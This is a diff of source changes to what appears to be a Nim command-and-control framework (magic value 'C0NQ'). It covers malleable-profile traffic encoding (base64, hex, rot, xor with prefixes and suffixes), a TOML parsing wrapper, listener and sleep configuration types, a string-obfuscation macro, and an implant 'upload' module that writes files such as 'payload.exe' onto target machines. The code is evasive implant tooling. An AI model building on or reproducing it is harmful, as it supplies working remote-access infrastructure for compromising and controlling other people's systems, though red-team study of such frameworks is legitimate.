proc getTable*(profile: Profile, path: string): TomlTableRef =
|
||||||
let key = profile.findKey(path)
|
let key = profile.findKey(path)
|
||||||
|
if key == nil:
|
||||||
|
return new TomlTableRef
|
||||||
return key.getTable()
|
return key.getTable()
|
||||||
|
|
||||||
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
||||||
let key = profile.findKey(path)
|
let key = profile.findKey(path)
|
||||||
if key.kind != Array:
|
if key == nil:
|
||||||
return @[]
|
return @[]
|
||||||
return key.getElems()
|
return key.getElems()
|
||||||
|
|
||||||
proc isArray*(profile: Profile, path: string): bool =
|
|
||||||
let key = profile.findKey(path)
|
|
||||||
return key.kind == Array
|
|
||||||
|
|
||||||
# Retrieve string or binary prefix
|
|
||||||
proc getStringOrByteArray*(profile: Profile, path: string): string =
|
|
||||||
result = ""
|
|
||||||
if profile.isArray(path):
|
|
||||||
for element in profile.getArray(path):
|
|
||||||
result &= char(element.getInt())
|
|
||||||
else:
|
|
||||||
result = profile.getString(path)
|
|
||||||
|
|
||||||
#[
|
|
||||||
Data transformation
|
|
||||||
]#
|
|
||||||
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
|
|
||||||
# 1. Encoding
|
|
||||||
var steps: seq[TomlTableRef] = @[]
|
|
||||||
|
|
||||||
# Apply all encoding techniques in the order specified in the profile
|
|
||||||
if profile.isArray(path & protect(".encoding")):
|
|
||||||
for encoding in profile.getArray(path & protect(".encoding")):
|
|
||||||
steps.add(encoding.getTable())
|
|
||||||
else:
|
|
||||||
steps = @[profile.getTable(path & protect(".encoding"))]
|
|
||||||
|
|
||||||
var dataString: string = Bytes.toString(data)
|
|
||||||
for step in steps:
|
|
||||||
case step.getTableValue(protect("type")).getStr(default = "none")
|
|
||||||
of protect("base64"):
|
|
||||||
dataString = encode(dataString, safe = step.getTableValue(protect("url-safe")).getBool()).replace("=", "")
|
|
||||||
of protect("hex"):
|
|
||||||
dataString = dataString.toHex().toLowerAscii()
|
|
||||||
of protect("rot"):
|
|
||||||
dataString = Bytes.toString(encodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
|
|
||||||
of protect("xor"):
|
|
||||||
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
|
|
||||||
of protect("none"):
|
|
||||||
discard
|
|
||||||
|
|
||||||
# 2. Add prefix & suffix
|
|
||||||
let
|
|
||||||
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
|
|
||||||
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
|
|
||||||
return prefix & dataString & suffix
|
|
||||||
|
|
||||||
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
|
|
||||||
# 1. Remove prefix & suffix
|
|
||||||
let
|
|
||||||
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
|
|
||||||
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
|
|
||||||
var dataString = data[len(prefix) ..^ len(suffix) + 1]
|
|
||||||
|
|
||||||
# 2. Decoding
|
|
||||||
var steps: seq[TomlTableRef] = @[]
|
|
||||||
|
|
||||||
# Apply all encoding techniques in reverse order
|
|
||||||
if profile.isArray(path & protect(".encoding")):
|
|
||||||
for encoding in profile.getArray(path & protect(".encoding")):
|
|
||||||
steps.add(encoding.getTable())
|
|
||||||
else:
|
|
||||||
steps = @[profile.getTable(path & protect(".encoding"))]
|
|
||||||
|
|
||||||
for step in steps.reversed():
|
|
||||||
case step.getTableValue(protect("type")).getStr(default = "none")
|
|
||||||
of protect("base64"):
|
|
||||||
dataString = decode(dataString)
|
|
||||||
of protect("hex"):
|
|
||||||
dataString = parseHexStr(dataString)
|
|
||||||
of protect("rot"):
|
|
||||||
dataString = Bytes.toString(decodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
|
|
||||||
of protect("xor"):
|
|
||||||
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
|
|
||||||
of protect("none"):
|
|
||||||
discard
|
|
||||||
|
|
||||||
return string.toBytes(dataString)
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,137 +0,0 @@
|
|||||||
#ifndef TOML_H
|
|
||||||
#define TOML_H
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
# pragma warning(disable : 4996)
|
|
||||||
#endif
|
|
||||||
#ifdef __cplusplus
|
|
||||||
# define TOML_EXTERN extern "C"
|
|
||||||
#else
|
|
||||||
# define TOML_EXTERN extern
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <stdbool.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
typedef struct toml_table_t toml_table_t;
|
|
||||||
typedef struct toml_array_t toml_array_t;
|
|
||||||
typedef struct toml_value_t toml_value_t;
|
|
||||||
typedef struct toml_timestamp_t toml_timestamp_t;
|
|
||||||
typedef struct toml_keyval_t toml_keyval_t;
|
|
||||||
typedef struct toml_arritem_t toml_arritem_t;
|
|
||||||
typedef struct toml_pos_t toml_pos_t;
|
|
||||||
|
|
||||||
// TOML table.
|
|
||||||
struct toml_table_t {
|
|
||||||
const char* key; // Key for this table
|
|
||||||
int keylen; // length of key.
|
|
||||||
bool implicit; // Table was created implicitly
|
|
||||||
bool readonly; // No more modification allowed
|
|
||||||
|
|
||||||
int nkval; // key-values in the table
|
|
||||||
toml_keyval_t** kval;
|
|
||||||
int narr; // arrays in the table
|
|
||||||
toml_array_t** arr;
|
|
||||||
int ntbl; // tables in the table
|
|
||||||
toml_table_t** tbl;
|
|
||||||
};
|
|
||||||
|
|
||||||
// TOML array.
|
|
||||||
struct toml_array_t {
|
|
||||||
const char* key; // key to this array
|
|
||||||
int keylen; // length of key.
|
|
||||||
int kind; // element kind: 'v'alue, 'a'rray, or 't'able, 'm'ixed
|
|
||||||
int type; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp, 'm'ixed
|
|
||||||
int nitem; // number of elements
|
|
||||||
toml_arritem_t* item;
|
|
||||||
};
|
|
||||||
struct toml_arritem_t {
|
|
||||||
int valtype; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp
|
|
||||||
char* val;
|
|
||||||
toml_array_t* arr;
|
|
||||||
toml_table_t* tbl;
|
|
||||||
};
|
|
||||||
|
|
||||||
// TOML key/value pair.
|
|
||||||
struct toml_keyval_t {
|
|
||||||
const char* key; // key to this value
|
|
||||||
int keylen; // length of key.
|
|
||||||
const char* val; // the raw value
|
|
||||||
};
|
|
||||||
|
|
||||||
// Token position.
|
|
||||||
struct toml_pos_t {
|
|
||||||
int line;
|
|
||||||
int col;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Timestamp type; some values may be empty depending on the value of kind.
|
|
||||||
struct toml_timestamp_t {
|
|
||||||
// datetime type:
|
|
||||||
//
|
|
||||||
// 'd'atetime Full date + time + TZ
|
|
||||||
// 'l'local-datetime Full date + time but without TZ
|
|
||||||
// 'D'ate-local Date only, without TZ
|
|
||||||
// 't'ime-local Time only, without TZ
|
|
||||||
char kind;
|
|
||||||
|
|
||||||
int year, month, day;
|
|
||||||
int hour, minute, second, millisec;
|
|
||||||
int tz; // Timezone offset in minutes
|
|
||||||
};
|
|
||||||
|
|
||||||
// Parsed TOML value.
|
|
||||||
//
|
|
||||||
// The string value s is a regular NULL-terminated C string, but the string
|
|
||||||
// length is also given in sl since TOML values may contain NULL bytes. The
|
|
||||||
// value is guaranteed to be correct UTF-8.
|
|
||||||
struct toml_value_t {
|
|
||||||
bool ok; // Was this value present?
|
|
||||||
union {
|
|
||||||
struct {
|
|
||||||
char* s; // string value; must be freed after use.
|
|
||||||
int sl; // string length, excluding NULL.
|
|
||||||
};
|
|
||||||
toml_timestamp_t ts; // datetime
|
|
||||||
bool b; // bool
|
|
||||||
int64_t i; // int
|
|
||||||
double d; // double
|
|
||||||
} u;
|
|
||||||
};
|
|
||||||
|
|
||||||
// toml_parse() parses a TOML document from a string. Returns 0 on error, with
|
|
||||||
// the error message stored in errbuf.
|
|
||||||
//
|
|
||||||
// toml_parse_file() is identical, but reads from a file descriptor.
|
|
||||||
//
|
|
||||||
// Use toml_free() to free the return value; this will invalidate all handles
|
|
||||||
// for this table.
|
|
||||||
TOML_EXTERN toml_table_t* toml_parse(char* toml, char* errbuf, int errbufsz);
|
|
||||||
TOML_EXTERN toml_table_t* toml_parse_file(FILE* fp, char* errbuf, int errbufsz);
|
|
||||||
TOML_EXTERN void toml_free(toml_table_t* table);
|
|
||||||
|
|
||||||
// Table functions.
|
|
||||||
//
|
|
||||||
// toml_table_len() gets the number of direct keys for this table;
|
|
||||||
// toml_table_key() gets the nth direct key in this table.
|
|
||||||
TOML_EXTERN int toml_table_len(const toml_table_t* table);
|
|
||||||
TOML_EXTERN const char* toml_table_key(const toml_table_t* table, int keyidx, int* keylen);
|
|
||||||
TOML_EXTERN toml_value_t toml_table_string(const toml_table_t* table, const char* key);
|
|
||||||
TOML_EXTERN toml_value_t toml_table_bool(const toml_table_t* table, const char* key);
|
|
||||||
TOML_EXTERN toml_value_t toml_table_int(const toml_table_t* table, const char* key);
|
|
||||||
TOML_EXTERN toml_value_t toml_table_double(const toml_table_t* table, const char* key);
|
|
||||||
TOML_EXTERN toml_value_t toml_table_timestamp(const toml_table_t* table, const char* key);
|
|
||||||
TOML_EXTERN toml_array_t* toml_table_array(const toml_table_t* table, const char* key);
|
|
||||||
TOML_EXTERN toml_table_t* toml_table_table(const toml_table_t* table, const char* key);
|
|
||||||
|
|
||||||
// Array functions.
|
|
||||||
TOML_EXTERN int toml_array_len(const toml_array_t* array);
|
|
||||||
TOML_EXTERN toml_value_t toml_array_string(const toml_array_t* array, int idx);
|
|
||||||
TOML_EXTERN toml_value_t toml_array_bool(const toml_array_t* array, int idx);
|
|
||||||
TOML_EXTERN toml_value_t toml_array_int(const toml_array_t* array, int idx);
|
|
||||||
TOML_EXTERN toml_value_t toml_array_double(const toml_array_t* array, int idx);
|
|
||||||
TOML_EXTERN toml_value_t toml_array_timestamp(const toml_array_t* array, int idx);
|
|
||||||
TOML_EXTERN toml_array_t* toml_array_array(const toml_array_t* array, int idx);
|
|
||||||
TOML_EXTERN toml_table_t* toml_array_table(const toml_array_t* array, int idx);
|
|
||||||
|
|
||||||
#endif // TOML_H
|
|
||||||
@@ -1,301 +0,0 @@
|
|||||||
import random, strutils
|
|
||||||
|
|
||||||
# Wrapper for the toml-c library
|
|
||||||
# Original: github.com/arp242/toml-c/
|
|
||||||
|
|
||||||
{.compile: "toml.c".}
|
|
||||||
|
|
||||||
type
|
|
||||||
TomlKeyVal = object
|
|
||||||
key: cstring
|
|
||||||
keylen: cint
|
|
||||||
val: cstring
|
|
||||||
|
|
||||||
TomlArrItem = object
|
|
||||||
valtype: cint
|
|
||||||
val: cstring
|
|
||||||
arr: ptr TomlArray
|
|
||||||
tbl: ptr TomlTable
|
|
||||||
|
|
||||||
TomlTable = object
|
|
||||||
key: cstring
|
|
||||||
keylen: cint
|
|
||||||
implicit: bool
|
|
||||||
readonly: bool
|
|
||||||
nkval: cint
|
|
||||||
kval: ptr ptr TomlKeyVal
|
|
||||||
narr: cint
|
|
||||||
arr: ptr ptr TomlArray
|
|
||||||
ntbl: cint
|
|
||||||
tbl: ptr ptr TomlTable
|
|
||||||
|
|
||||||
TomlArray = object
|
|
||||||
key: cstring
|
|
||||||
keylen: cint
|
|
||||||
kind: cint
|
|
||||||
`type`: cint
|
|
||||||
nitem: cint
|
|
||||||
item: ptr TomlArrItem
|
|
||||||
|
|
||||||
TomlValue = object
|
|
||||||
case ok: bool
|
|
||||||
of false: discard
|
|
||||||
of true:
|
|
||||||
s: cstring
|
|
||||||
sl: cint
|
|
||||||
|
|
||||||
TomlTableRef* = ptr TomlTable
|
|
||||||
|
|
||||||
TomlValueKind* = enum
|
|
||||||
String, Int, Bool, Float, Table, Array, None
|
|
||||||
|
|
||||||
TomlValueRef* = ref object
|
|
||||||
case kind*: TomlValueKind
|
|
||||||
of String:
|
|
||||||
strVal*: string
|
|
||||||
of Int:
|
|
||||||
intVal*: int64
|
|
||||||
of Bool:
|
|
||||||
boolVal*: bool
|
|
||||||
of Float:
|
|
||||||
floatVal*: float64
|
|
||||||
of Table:
|
|
||||||
tableVal*: TomlTableRef
|
|
||||||
of Array:
|
|
||||||
arrayVal*: ptr TomlArray
|
|
||||||
of None:
|
|
||||||
discard
|
|
||||||
|
|
||||||
# C library functions
|
|
||||||
proc toml_parse(toml: cstring, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
|
|
||||||
proc toml_parse_file(fp: File, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
|
|
||||||
proc toml_free(tab: TomlTableRef) {.importc, cdecl.}
|
|
||||||
proc toml_table_len(tab: TomlTableRef): cint {.importc, cdecl.}
|
|
||||||
proc toml_table_key(tab: TomlTableRef, keyidx: cint, keylen: ptr cint): cstring {.importc, cdecl.}
|
|
||||||
proc toml_table_string(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
|
||||||
proc toml_table_int(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
|
||||||
proc toml_table_bool(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
|
||||||
proc toml_table_double(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
|
||||||
proc toml_table_array(tab: TomlTableRef, key: cstring): ptr TomlArray {.importc, cdecl.}
|
|
||||||
proc toml_table_table(tab: TomlTableRef, key: cstring): TomlTableRef {.importc, cdecl.}
|
|
||||||
proc toml_array_len(arr: ptr TomlArray): cint {.importc, cdecl.}
|
|
||||||
proc toml_array_table(arr: ptr TomlArray, idx: cint): TomlTableRef {.importc, cdecl.}
|
|
||||||
proc toml_array_string(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
|
|
||||||
proc toml_array_int(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
|
|
||||||
|
|
||||||
#[
|
|
||||||
Retrieve a random element from a TOML array
|
|
||||||
]#
|
|
||||||
proc getRandom*(arr: ptr TomlArray): TomlValueRef =
|
|
||||||
if arr.isNil:
|
|
||||||
return nil
|
|
||||||
|
|
||||||
let n = toml_array_len(arr)
|
|
||||||
if n == 0:
|
|
||||||
return nil
|
|
||||||
|
|
||||||
let idx = rand(n.int - 1)
|
|
||||||
|
|
||||||
# String
|
|
||||||
let strVal {.volatile.} = toml_array_string(arr, idx.cint)
|
|
||||||
if strVal.ok:
|
|
||||||
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
|
|
||||||
if not strPtr.isNil:
|
|
||||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
|
||||||
|
|
||||||
# Table
|
|
||||||
let table {.volatile.} = toml_array_table(arr, idx.cint)
|
|
||||||
if not table.isNil:
|
|
||||||
return TomlValueRef(kind: Table, tableVal: table)
|
|
||||||
|
|
||||||
# Int
|
|
||||||
let intVal {.volatile.} = toml_array_int(arr, idx.cint)
|
|
||||||
if intVal.ok:
|
|
||||||
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
|
|
||||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
|
||||||
|
|
||||||
return nil
|
|
||||||
|
|
||||||
#[
|
|
||||||
Parse TOML string or configuration file
|
|
||||||
]#
|
|
||||||
proc parseString*(toml: string): TomlTableRef =
|
|
||||||
var errbuf: array[200, char]
|
|
||||||
|
|
||||||
var tomlCopy = toml
|
|
||||||
result = toml_parse(tomlCopy.cstring, cast[cstring](addr errbuf[0]), 200)
|
|
||||||
|
|
||||||
if result.isNil:
|
|
||||||
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
|
|
||||||
|
|
||||||
proc parseFile*(path: string): TomlTableRef =
|
|
||||||
var errbuf: array[200, char]
|
|
||||||
let fp = open(path, fmRead)
|
|
||||||
if fp.isNil:
|
|
||||||
raise newException(IOError, "Cannot open file: " & path)
|
|
||||||
|
|
||||||
result = toml_parse_file(fp, cast[cstring](addr errbuf[0]), 200)
|
|
||||||
fp.close()
|
|
||||||
|
|
||||||
if result.isNil:
|
|
||||||
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
|
|
||||||
|
|
||||||
proc free*(table: TomlTableRef) =
|
|
||||||
if not table.isNil:
|
|
||||||
toml_free(table)
|
|
||||||
|
|
||||||
#[
|
|
||||||
Takes a specific "."-separated path as input and returns the TOML Value that it finds
|
|
||||||
]#
|
|
||||||
proc findKey*(profile: TomlTableRef, path: string): TomlValueRef =
|
|
||||||
if profile.isNil:
|
|
||||||
return TomlValueRef(kind: None)
|
|
||||||
|
|
||||||
let keys = path.split(".")
|
|
||||||
var current = profile
|
|
||||||
|
|
||||||
# Navigate through nested tables
|
|
||||||
for i in 0 ..< keys.len - 1:
|
|
||||||
let nextTable = toml_table_table(current, keys[i].cstring)
|
|
||||||
if nextTable.isNil:
|
|
||||||
return TomlValueRef(kind: None)
|
|
||||||
current = nextTable
|
|
||||||
|
|
||||||
let finalKey = keys[^1].cstring
|
|
||||||
|
|
||||||
# Try different types
|
|
||||||
# {.volatile.} is added to avoid dangling pointers
|
|
||||||
block findStr:
|
|
||||||
let val {.volatile.} = toml_table_string(current, finalKey)
|
|
||||||
if val.ok:
|
|
||||||
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
|
|
||||||
if not strPtr.isNil:
|
|
||||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
|
||||||
|
|
||||||
block checkInt:
|
|
||||||
let val {.volatile.} = toml_table_int(current, finalKey)
|
|
||||||
if val.ok:
|
|
||||||
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
|
|
||||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
|
||||||
|
|
||||||
block checkBool:
|
|
||||||
let val {.volatile.} = toml_table_bool(current, finalKey)
|
|
||||||
if val.ok:
|
|
||||||
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
|
|
||||||
return TomlValueRef(kind: Bool, boolVal: boolPtr)
|
|
||||||
|
|
||||||
block checkDouble:
|
|
||||||
let val {.volatile.} = toml_table_double(current, finalKey)
|
|
||||||
if val.ok:
|
|
||||||
let dblPtr = cast[ptr float64](cast[int](addr val) + 8)[]
|
|
||||||
return TomlValueRef(kind: Float, floatVal: dblPtr)
|
|
||||||
|
|
||||||
block checkArray:
|
|
||||||
let arr {.volatile.} = toml_table_array(current, finalKey)
|
|
||||||
if not arr.isNil:
|
|
||||||
return TomlValueRef(kind: Array, arrayVal: arr)
|
|
||||||
|
|
||||||
block checkTable:
|
|
||||||
let table {.volatile.} = toml_table_table(current, finalKey)
|
|
||||||
if not table.isNil:
|
|
||||||
return TomlValueRef(kind: Table, tableVal: table)
|
|
||||||
|
|
||||||
return TomlValueRef(kind: None)
|
|
||||||
|
|
||||||
#[
|
|
||||||
Retrieve the actual value from a TOML value
|
|
||||||
]#
|
|
||||||
proc getStr*(value: TomlValueRef, default: string = ""): string =
|
|
||||||
if value.kind == String:
|
|
||||||
return value.strVal
|
|
||||||
return default
|
|
||||||
|
|
||||||
proc getInt*(value: TomlValueRef, default: int = 0): int =
|
|
||||||
if value.kind == Int:
|
|
||||||
return value.intVal.int
|
|
||||||
return default
|
|
||||||
|
|
||||||
proc getBool*(value: TomlValueRef, default: bool = false): bool =
|
|
||||||
if value.kind == Bool:
|
|
||||||
return value.boolVal
|
|
||||||
return default
|
|
||||||
|
|
||||||
proc getTable*(value: TomlValueRef): TomlTableRef =
|
|
||||||
if value.kind == Table:
|
|
||||||
return value.tableVal
|
|
||||||
return nil
|
|
||||||
|
|
||||||
proc getElems*(value: TomlValueRef): seq[TomlValueRef] =
|
|
||||||
if value.kind != Array:
|
|
||||||
return @[]
|
|
||||||
|
|
||||||
let arr = value.arrayVal
|
|
||||||
let n = toml_array_len(arr)
|
|
||||||
result = @[]
|
|
||||||
|
|
||||||
for i in 0 ..< n:
|
|
||||||
# Try table first
|
|
||||||
let table {.volatile.} = toml_array_table(arr, i.cint)
|
|
||||||
if not table.isNil:
|
|
||||||
result.add(TomlValueRef(kind: Table, tableVal: table))
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Try string
|
|
||||||
let strVal {.volatile.} = toml_array_string(arr, i.cint)
|
|
||||||
if strVal.ok:
|
|
||||||
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
|
|
||||||
if not strPtr.isNil:
|
|
||||||
result.add(TomlValueRef(kind: String, strVal: $strPtr))
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Try int
|
|
||||||
let intVal {.volatile.} = toml_array_int(arr, i.cint)
|
|
||||||
if intVal.ok:
|
|
||||||
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
|
|
||||||
result.add(TomlValueRef(kind: Int, intVal: intPtr))
|
|
||||||
|
|
||||||
proc getTableKeys*(profile: TomlTableRef, path: string): seq[tuple[key: string, value: TomlValueRef]] =
|
|
||||||
result = @[]
|
|
||||||
let key = profile.findKey(path)
|
|
||||||
let table = key.getTable()
|
|
||||||
if table.isNil:
|
|
||||||
return
|
|
||||||
|
|
||||||
let numKeys = toml_table_len(table)
|
|
||||||
for i in 0 ..< numKeys:
|
|
||||||
var keylen: cint
|
|
||||||
let keyPtr = toml_table_key(table, i.cint, addr keylen)
|
|
||||||
if keyPtr.isNil:
|
|
||||||
continue
|
|
||||||
|
|
||||||
let key = $keyPtr
|
|
||||||
let value = profile.findKey(path & "." & key)
|
|
||||||
if value.kind != None:
|
|
||||||
result.add((key: key, value: value))
|
|
||||||
|
|
||||||
proc getTableValue*(table: TomlTableRef, key: string): TomlValueRef =
|
|
||||||
if table.isNil:
|
|
||||||
return TomlValueRef(kind: None)
|
|
||||||
|
|
||||||
let ckey = key.cstring
|
|
||||||
|
|
||||||
block checkString:
|
|
||||||
let val {.volatile.} = toml_table_string(table, ckey)
|
|
||||||
if val.ok:
|
|
||||||
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
|
|
||||||
if not strPtr.isNil:
|
|
||||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
|
||||||
|
|
||||||
block checkInt:
|
|
||||||
let val {.volatile.} = toml_table_int(table, ckey)
|
|
||||||
if val.ok:
|
|
||||||
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
|
|
||||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
|
||||||
|
|
||||||
block checkBool:
|
|
||||||
let val {.volatile.} = toml_table_bool(table, ckey)
|
|
||||||
if val.ok:
|
|
||||||
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
|
|
||||||
return TomlValueRef(kind: Bool, boolVal: boolPtr)
|
|
||||||
|
|
||||||
return TomlValueRef(kind: None)
|
|
||||||
@@ -1,12 +1,10 @@
|
|||||||
import tables
|
import tables
|
||||||
import json
|
import parsetoml, json
|
||||||
import system
|
import system
|
||||||
import mummy
|
import mummy
|
||||||
when defined(client):
|
when defined(client):
|
||||||
import whisky
|
import whisky
|
||||||
|
|
||||||
import ./toml/toml
|
|
||||||
|
|
||||||
# Custom Binary Task structure
|
# Custom Binary Task structure
|
||||||
const
|
const
|
||||||
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
|
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
|
||||||
@@ -73,6 +71,14 @@ type
|
|||||||
RESULT_BINARY = 1'u8
|
RESULT_BINARY = 1'u8
|
||||||
RESULT_NO_OUTPUT = 2'u8
|
RESULT_NO_OUTPUT = 2'u8
|
||||||
|
|
||||||
|
ConfigType* = enum
|
||||||
|
CONFIG_LISTENER_UUID = 0'u8
|
||||||
|
CONFIG_LISTENER_IP = 1'u8
|
||||||
|
CONFIG_LISTENER_PORT = 2'u8
|
||||||
|
CONFIG_SLEEP_DELAY = 3'u8
|
||||||
|
CONFIG_PUBLIC_KEY = 4'u8
|
||||||
|
CONFIG_PROFILE = 5'u8
|
||||||
|
|
||||||
LogType* {.size: sizeof(uint8).} = enum
|
LogType* {.size: sizeof(uint8).} = enum
|
||||||
LOG_INFO = "[INFO] "
|
LOG_INFO = "[INFO] "
|
||||||
LOG_ERROR = "[FAIL] "
|
LOG_ERROR = "[FAIL] "
|
||||||
@@ -114,7 +120,7 @@ type
|
|||||||
Key* = array[32, byte]
|
Key* = array[32, byte]
|
||||||
Iv* = array[12, byte]
|
Iv* = array[12, byte]
|
||||||
AuthenticationTag* = array[16, byte]
|
AuthenticationTag* = array[16, byte]
|
||||||
KeyRC4* = array[16, byte]
|
Key16* = array[16, byte]
|
||||||
|
|
||||||
# Packet structure
|
# Packet structure
|
||||||
type
|
type
|
||||||
@@ -287,7 +293,7 @@ type
|
|||||||
privateKey*: Key
|
privateKey*: Key
|
||||||
publicKey*: Key
|
publicKey*: Key
|
||||||
|
|
||||||
Profile* = TomlTableRef
|
Profile* = TomlValueRef
|
||||||
|
|
||||||
WsConnection* = ref object
|
WsConnection* = ref object
|
||||||
when defined(server):
|
when defined(server):
|
||||||
@@ -302,7 +308,6 @@ type
|
|||||||
threads*: Table[string, Thread[Listener]]
|
threads*: Table[string, Thread[Listener]]
|
||||||
agents*: Table[string, Agent]
|
agents*: Table[string, Agent]
|
||||||
keyPair*: KeyPair
|
keyPair*: KeyPair
|
||||||
profileString*: string
|
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
client*: WsConnection
|
client*: WsConnection
|
||||||
|
|
||||||
|
|||||||
@@ -38,24 +38,6 @@ macro protect*(str: untyped): untyped =
|
|||||||
# Alternate the XOR key using the FNV prime (1677619)
|
# Alternate the XOR key using the FNV prime (1677619)
|
||||||
key = (key *% 1677619) and 0x7FFFFFFF
|
key = (key *% 1677619) and 0x7FFFFFFF
|
||||||
|
|
||||||
#[
|
|
||||||
Data encoding
|
|
||||||
]#
|
|
||||||
proc encodeRot*(data: seq[byte], key: int): seq[byte] =
|
|
||||||
result = newSeq[byte](data.len())
|
|
||||||
for i, b in data:
|
|
||||||
result[i] = byte((int(b) + key) mod 256)
|
|
||||||
|
|
||||||
proc decodeRot*(data: seq[byte], key: int): seq[byte] =
|
|
||||||
result = newSeq[byte](data.len())
|
|
||||||
for i, b in data:
|
|
||||||
result[i] = byte((int(b) - key + 256) mod 256)
|
|
||||||
|
|
||||||
proc xorBytes*(data: seq[byte], key: int): seq[byte] =
|
|
||||||
result = newSeq[byte](data.len())
|
|
||||||
for i, b in data:
|
|
||||||
result[i] = b xor byte(key)
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Utility functions
|
Utility functions
|
||||||
]#
|
]#
|
||||||
|
|||||||
@@ -27,7 +27,6 @@ let module* = Module(
|
|||||||
example: protect("upload /path/to/payload.exe"),
|
example: protect("upload /path/to/payload.exe"),
|
||||||
arguments: @[
|
arguments: @[
|
||||||
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
||||||
Argument(name: protect("destination"), description: protect("Path to upload the file to. By default, uploads to current directory."), argumentType: STRING, isRequired: false),
|
|
||||||
],
|
],
|
||||||
execute: executeUpload
|
execute: executeUpload
|
||||||
)
|
)
|
||||||
@@ -41,7 +40,7 @@ when not defined(agent):
|
|||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import os, strformat
|
import os, std/paths, strformat
|
||||||
import ../agent/utils/io
|
import ../agent/utils/io
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
import ../common/serialize
|
import ../common/serialize
|
||||||
@@ -73,18 +72,17 @@ when defined(agent):
|
|||||||
try:
|
try:
|
||||||
var arg: string = Bytes.toString(task.args[0].data)
|
var arg: string = Bytes.toString(task.args[0].data)
|
||||||
|
|
||||||
|
print arg
|
||||||
|
|
||||||
# Parse binary argument
|
# Parse binary argument
|
||||||
var unpacker = Unpacker.init(arg)
|
var unpacker = Unpacker.init(arg)
|
||||||
var
|
let
|
||||||
destination = unpacker.getDataWithLengthPrefix()
|
fileName = unpacker.getDataWithLengthPrefix()
|
||||||
fileContents = unpacker.getDataWithLengthPrefix()
|
fileContents = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
# If a destination has been passed as an argument, upload it there instead
|
|
||||||
if task.argCount == 2:
|
|
||||||
destination = Bytes.toString(task.args[1].data)
|
|
||||||
|
|
||||||
# Write the file to the current working directory
|
# Write the file to the current working directory
|
||||||
writeFile(destination, fileContents)
|
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
||||||
|
writeFile(fmt"{destination}", fileContents)
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
||||||
|
|
||||||
|
|||||||
@@ -40,7 +40,14 @@ when defined(agent):
|
|||||||
import os, strutils, strformat, tables, algorithm
|
import os, strutils, strformat, tables, algorithm
|
||||||
import ../agent/utils/io
|
import ../agent/utils/io
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
import ../agent/core/process
|
|
||||||
|
# TODO: Add user context to process information
|
||||||
|
type
|
||||||
|
ProcessInfo = object
|
||||||
|
pid: DWORD
|
||||||
|
ppid: DWORD
|
||||||
|
name: string
|
||||||
|
children: seq[DWORD]
|
||||||
|
|
